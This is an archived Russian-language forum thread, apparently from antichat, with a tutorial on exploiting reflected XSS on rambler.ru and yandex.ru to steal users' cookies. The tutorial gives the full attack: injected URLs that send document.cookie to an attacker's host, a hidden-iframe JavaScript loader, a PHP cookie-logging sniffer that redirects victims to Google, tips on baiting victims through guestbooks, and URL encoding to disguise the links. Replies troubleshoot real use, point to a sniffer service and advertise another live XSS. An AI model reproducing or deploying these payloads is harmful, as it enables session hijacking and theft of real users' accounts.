PDA

Просмотр полной версии : Возможность использования xss на yandex.ru и rambler.ru


AFoST
05.10.2007, 23:34
Эта статься посвящена в основном новичкам. Я в ней описываю вариант использования XSS на 2х известных ресурсах рунета в подробностях, чтобы всё неясное стало ясным. В статье представлено все необходимое для проведения полноценной атаки типа XSS кража куки, но это не значит, что её надо реализовывать и воровать чужие данные. Я лишь пытаюсь показать, что и у таких крупных ресурсов есть свои дыры.

В один из приятных летних вечеров я, как обычно =), зашел на один из форумов по инф. безопасности...Зашел в раздел XSS, увидел туеву хучу уязвимостей на разных сайтах. Ну, подумал я, не любоваться же на них, и начал искать известный сайтик, чтобы провести полноценную атаку =) Но, собственно, меня не интересовали сайты типа kirpich.org.com.net.ru или forum.gallery.garazhiki.us.ua.up.ui.ut, а хотелось чего-то более известного и раскрученного, чем пользуются большинство обычных юзеров...Вскоре на страницах форума я нашёл xss на яндексе и рамблере, что не могло не радовать =)
Вот они:

http://www.rambler.ru/db/support/feedback.shtml?name="<script>alert(/hello, dear user!!!/)</script>
http://www.nco.yandex.ru/?&sort=<script><script>alert(/hello, deaD user!!!/)</script>

Дальше...
Надо их использовать для своих целей, правильно? А иначе нахрена бы они нам сдались =) Так вот, немного подумав, переписал XSS следующим образом:


http://www.rambler.ru/db/support/feedback.shtml?name="<script src=http://mysite.ru/1.js></script>
http://www.nco.yandex.ru/?&sort=<script><script>document.location.replace('http://mysite.ru/rec.php?'+document.cookie );</script>


Даже не спрашивайте, почему я написал по-разному...Сам хз, так легли звёзды =)

Разберём XSS на www.rambler.ru:

http://www.rambler.ru/db/support/feedback.shtml?name="<script src=http://mysite.ru/1.js></script>

Здесь, вместо банального alert(/hello, юзер/) я вставил код, который загружает js-скрипт с другого сайта...В 1.js я написал скрипт, который вставляет на страницу скрытый фрейм. Фрейм, в свою очередь, обращается к пхп скрипту на сайте

src="'+'http://mysite.ru/rec.php'+'?['+location.host+']:'+document.cookie+'";

Т.е. он отправляет GET-запрос на сайт с параметром

h=['+location.host+']:'+document.cookie+

В этом параметре передаются хост, с которого был отправлен запрос и, самое важное, cookie юзера. Все эти данные обрабатываются пхп-скриптом и представляются в читабельном виде =) (о пхп дальше...)
Вот сорц самого 1.js:

document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://mysite.ru/rec.php'+'?['+location.host+']:'+document.cookie+'"></iframe>');


Теперь разберём XSS на яндексе:

http://www.nco.yandex.ru/?&sort=<script><script>document.location.replace('http://mysite.ru/rec.php?'+document.cookie);</script>

Здесь я не стал загружать скрипт с удалённого сайта, как в первом случае, а написал сам скрипт, который перенаправляет броузер на мой сайт и передает куки юзера пхп-скрипту...

И самое главное, разберём, что же написано в самом пхп-скрипте:
Код

<?php
$fp = fopen("cookies.html","a");
fputs($fp, " <br><br><br>_________[".date("d.m.y H:i")."]<br>".
$_SERVER['QUERY_STRING']."<br><br>".
" USER_AGENT: ".$_SERVER["HTTP_USER_AGENT"]."<br>".
" REMOTE_ADDR: " .$_SERVER["REMOTE_ADDR"]."<br>".
" HTTP_REFERER: " .$_SERVER["HTTP_REFERER"]
);

fclose($fp);
echo "<script>document.location.replace('http://google.com');</script>";
?>


Последней строчкой кода, я перенаправляю страницу с моего сайта на гугль, хы =), далеко не каждый пользователь запалит, что он был на моём сайте, и офигеет, увидев, что он попал на гугль =)
После всего проделанного выше, регистрируемся на любом бесплатном хостинге с поддержкой пхп и размещаем в нужном месте нужные файлы. Потом берём подготовленные XSS-ссылки, ищем пару-тройку гостевых книг и пишем там всякую лабуду, вызываюшую интерес, страх и лень(качества присущие всем (= ), и вставляем ссылки =)

После того, как юзер зайдет на ссылку у нас остаются логи, прилизительно следующего содержания:

_________[05.09.07 15:12]
h=[www.some_site.ru]:hotlog=1

USER_AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6
REMOTE_ADDR: 111.111.111.111
HTTP_REFERER: Field blocked by Outpost Firewall (http://www.agnitum.com)

Для меньшего пропаливания xss-ссылок можно использовать перекодировку. Например xss на яндексе после не сложного шифрования будет иметь такой вид:


http://www.nco.yandex.ru/?&sort=%3C%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74 %3E%64%6F%63%75%6D
%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6 C%61%63%65%28%27%68%74%74%70%3A%2F%2F
%6D%79%73%69%74%65%2E%72%75%2F%72%65%63%2E%70%68%7 0%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E
%63%6F%6F%6B%69%65%29%3B%3C%2F%73%63%72%69%70%74%3 E


Вот, собственно и всё. Если есть замечания или пожелания, пишите здесь или в асю. С наилучшими пожеланиями, FoST 8-794-038.

(с) FoST
12.9.2007, 20:47

Впервые статья была опубликована здесь http://forum.prologic.su/index.php?showtopic=1263

GRAVITY
13.10.2007, 00:14
Нупский вопрос - а он не ворует куки получается:? По крайней мере в логах не увидел

AFoST
13.10.2007, 01:29
Нупский вопрос - а он не ворует куки получается:? По крайней мере в логах не увидел
Ёпт! А если я бы написал "вид логов такой: [antichat.ru]:пиписька" ты бы спросил, "а что, он получается пиписьки с ачата ворует!? Это примерный вид того, что получается в итоге.
в пхп у нас написано вот что:
fputs($fp, " <br><br><br>_________[".date("d.m.y H:i")."]<br>".
$_SERVER['QUERY_STRING']."<br><br>".
Это значит, скрипт записывает в логи значение переменной $_SERVER['QUERY_STRING'], а она берётся если в адресной строке написать линк следующего вида

http://your_site.net/script.php?some_text

В моем случае после "?" была стрка hotlog=1, поэтому в логи записалось это:
h=[www.some_site.ru]:hotlog=1

Я специально формировал ссылки с XSS чтобы скрипт обращялся к пхп-скрипту и после знака вопроса выставлял document.cookie.

Если ещё не понятно, спрашивай, отвечу.

GRAVITY
13.10.2007, 15:15
Вот такой вопрос - например я передал ссылку кому-нить, он на неё зашёл - и в лог сохранился куки - а к какой страничке относился этот куки ?

Piflit
13.10.2007, 15:23
Вот такой вопрос - например я передал ссылку кому-нить, он на неё зашёл - и в лог сохранился куки - а к какой страничке относился этот куки ?
не к страничке, а к сессии ящика

GRAVITY
13.10.2007, 15:34
Можно поподробнее про сессию ящика ??...

Cawabunga
13.10.2007, 15:38
Можно поподробнее про сессию ящика ??...
Читай
Форум АНТИЧАТ > ИНФО > Статьи

GRAVITY
13.10.2007, 15:39
Ща я читаю вот это: :)
http://forum.antichat.ru/thread32872.html

Zitt
13.10.2007, 23:29
Очень удобный снифер находится по адресу
http://s.netsec.ru/

Tadeus
03.11.2007, 22:46
Блин, что-то на рамблере, у мну не пахаит Document.Location.Replace. Зато Document.Location.Href работает. Как через последнее можно передать cookies? :rolleyes:

AFoST
04.11.2007, 11:51
Блин, что-то на рамблере, у мну не пахаит Document.Location.Replace. Зато Document.Location.Href работает. Как через последнее можно передать cookies? :rolleyes:
Именно поэтому в статье для xss на рамблере я написал
http://www.rambler.ru/db/support/feedback.shtml?name="<script src=http://mysite.ru/1.js></script>
вместо document.location.replace. Там какая-то странная фильтрация идет =) Но этот вариант прокатывает.

Tadeus
04.11.2007, 13:17
Блин, а на указание сорца оно ваще не реагирует! Я положил туда алерт - нифига. Стукни в асю, плиз ;)

420-069-087

Impuls*
04.11.2007, 18:24
Кто знает это еще актуально???????Скажите ДА)))хотелось бы знать, а то недавно нашел, хочу провернуть кое-что)

inv
04.11.2007, 18:33
утром алерт на рамблере работал на ура
без комментариев

Impuls*
04.11.2007, 18:49
Народ, хэлп!
Я сделал все, как написал AFoST.Скрипты брал его, все залил на сервер от freehostia.com
Сам зашел, проверить работоспособность - не фига :( не создал файл.
Да, может я что не правильно делаю, как передать себе куки жертвы??с меня ++

AFoST
05.11.2007, 00:55
Была найдена ошибка в php-сниффере. Присутствовала лишняя фигурная скобочка, исправил, если не поможет, стучи.

Impuls*
05.11.2007, 08:52
Я ее сам нашел))все пашет.

AFoST
05.11.2007, 10:08
Сниффер в изначальном варианте был немного сложнее, была проверка на некоторые параметры, забыл скобочку убрать блииин... :)

Impuls*
05.11.2007, 13:10
2 AFoST,
хотел спросить...вот я все сделал как надо, но у меня нет записей rsid в куках.
Есть логин, ruid, а эта чать просто не передается.
Помогите пожалуйста!!Нужно что-то добавить? :) как получить эту часть на rambler.ru

inv
05.11.2007, 13:24
rsid только на mail.rambler.ru
id.ramber.ru может еще где-то)

LeverOne
05.11.2007, 14:25
Кука рамблера "rsid" (сессионная) устанавливается с параметром httpOnly. Этот параметр не позволяет получать к ней доступ, используя document.cookie. На mail.rambler.ru эту куку также невозможно получить таким способом. Сначала этот параметр поддерживался только ИЕ, теперь еще и Файрфокс. И это боян, ребята!

Таким образом, приведенным кодом можно получить все куки, включая rsid, только если юзер-испытуемый пользуется Оперой (проверено на v9.24). Все, что описано в статье в части рамблера, может использоваться только для таких случаев.

Кука rsid передается во все зоны, куда передаются rlogin и ruid, поскольку настройка домена, которую можно посмотреть в любом куки-редакторе, у них одинакова.

Impuls*
05.11.2007, 15:08
Ггы... :(
То есть полный облом?Нееееет!! :)
Как можно еще скомуниздить куки, есть ли другая лазейка?а то обидно так...

inv
05.11.2007, 15:25
LeverOne

trace пашет не пашет на рамблере?

LeverOne
05.11.2007, 15:51
LeverOne

trace пашет не пашет на рамблере?

Traсe там запрещен.

blaZe
05.12.2007, 13:45
Cорри за офтоп но на aport.ru на данный момент существует XSS.Ищем "><script>alert()</script> и видим красивое окошко :)Сам скрипт фильтрует ! и -.Саппорту о баге сообщил пару дней назад-не закрыли.Пользуйтесь =)

ZAMUT
05.12.2007, 16:23
Юзай поиск, было уже

blaZe
05.12.2007, 16:41
Юзай поиск, было уже
Да мне незачем.Позавчера нечаянно наткнулся и решил отписать после 0 реакции админов.

bul.666
05.12.2007, 18:29
Мдя... Мог просто запостить свои Xss в топик "Пассивные Xss" =\
А статья использование пассивных Xss помойму есть =\

=MazaHaka=
22.03.2010, 15:23
Отлично.
детально, подробно расписано.
Ничего нового не почерпнул, но в качестве учебного материала самое то

Life7
22.03.2010, 17:28
жаль но оно пачти неактуально.

=MazaHaka=
22.03.2010, 20:03
жаль но оно пачти неактуально.
существует достаточно ресурсов на которых это актуально